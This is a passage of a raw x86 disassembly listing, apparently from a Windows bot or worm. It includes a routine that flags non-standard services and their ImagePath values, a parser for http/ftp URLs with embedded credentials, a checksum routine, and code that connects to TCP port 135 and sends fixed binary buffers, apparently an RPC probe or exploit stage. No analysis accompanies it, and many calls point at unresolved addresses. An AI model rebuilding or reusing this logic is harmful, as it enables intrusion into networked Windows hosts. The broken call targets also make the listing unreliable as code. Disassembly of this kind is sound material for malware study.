		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4207FA:				; CODE XREF: sub_420630+46j
					; sub_420630+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420630	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208A0	proc near		; CODE XREF: sub_401875j
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_4208A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4208C0	proc near		; CODE XREF: sub_401A82j
		jmp	sub_401226
sub_4208C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208E0	proc near		; CODE XREF: sub_402162j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4208E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 2920B77h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42092F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42092F:				; CODE XREF: sub_4208E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_445314
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_4452FC
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_40142E
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_511718
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420C8F
		mov	ebp, dword_511764


loc_420B6B:				; CODE XREF: sub_4208E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420B97
		lea	esi, [esp+524h+var_4E0]


loc_420B78:				; CODE XREF: sub_4208E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_420C73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420B78


loc_420B97:				; CODE XREF: sub_4208E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_40168B
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420BE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420BE3:				; CODE XREF: sub_4208E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 2900000h
		cmp	eax, ebx
		jz	short loc_420C1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420C1D:				; CODE XREF: sub_4208E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420C3A:				; CODE XREF: sub_4208E0+301j
					; sub_4208E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014D3
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420C73:				; CODE XREF: sub_4208E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420B6B
		mov	ebp, [esp+524h+var_4FC]


loc_420C8F:				; CODE XREF: sub_4208E0+27Fj
		push	ebp
		nop
		call	near ptr 2930401h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4208E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420DD0	proc near		; CODE XREF: sub_4015F5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 2891B6Eh
		push	eax
		nop
		call	near ptr 28910CAh
		mov	eax, esi
		pop	esi
		retn
sub_420DD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E00	proc near		; CODE XREF: sub_401A37j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420E39


loc_420E22:				; CODE XREF: sub_420E00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420E22
		cmp	ecx, 0
		jz	short loc_420E4A


loc_420E39:				; CODE XREF: sub_420E00+20j
					; sub_420E00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420E39


loc_420E4A:				; CODE XREF: sub_420E00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50DB24, eax
		mov	eax, offset dword_50DB24
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EC0:				; CODE XREF: ___:0040177Bj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_511AAC
		push	esi
		call	edi
		mov	ebp, dword_511AA4
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp
		push	esi
		call	edi
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420F10	proc near		; CODE XREF: sub_401947j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420F10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420F3F
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420F3F:				; CODE XREF: sub_420F10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_40142E
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015E1
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420FCF:				; CODE XREF: sub_420F10+92j
					; sub_420F10+A2j
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D34
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4453E8 ; "/"
		push	1
		jz	loc_42130C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4210C9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_4210C9:				; CODE XREF: sub_420F10+19Cj
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421195
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42117E
		mov	dword ptr [esi+54h], 50h


loc_42117E:				; CODE XREF: sub_420F10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421195
		mov	dword ptr [esi+54h], 15h


loc_421195:				; CODE XREF: sub_420F10+255j
					; sub_420F10+27Cj
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016B8
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42124E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42124E:				; CODE XREF: sub_420F10+321j
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016B8
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421433
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42130C:				; CODE XREF: sub_420F10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421393
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420F10+466j
		push	offset asc_4453E8 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421433
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42141C
		mov	dword ptr [esi+54h], 50h


loc_42141C:				; CODE XREF: sub_420F10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421433
		mov	dword ptr [esi+54h], 15h


loc_421433:				; CODE XREF: sub_420F10+3DBj
					; sub_420F10+4F3j ...
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013ED
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E47
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013ED
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013ED
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4453E8 ; "/"
		mov	ecx, esi
		call	sub_4015E1
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016C7
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421519:				; CODE XREF: sub_420F10+2Aj
					; sub_420F10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420F10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4216D0	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4216FB


loc_4216E4:				; CODE XREF: sub_4216D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421702
		inc	eax
		cmp	eax, edx
		jl	short loc_4216E4


loc_4216FB:				; CODE XREF: sub_4216D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421702:				; CODE XREF: sub_4216D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4216D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421720:				; CODE XREF: ___:004020B8j
		mov	eax, 2010h
		call	sub_437B30
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42176D
		dec	eax
		jz	short loc_421747
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421747:				; CODE XREF: ___:00421738j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402022
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42176D:				; CODE XREF: ___:00421735j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	ebp, dword_511CA0
		push	0
		push	48h
		push	offset dword_444DB0
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4218C2
		push	0
		push	18h
		push	offset dword_444E24
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4218C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4218C2
		push	10h
		push	offset loc_444DFC
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AFF
		add	esp, 10h
		test	al, al
		jz	short loc_421891
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
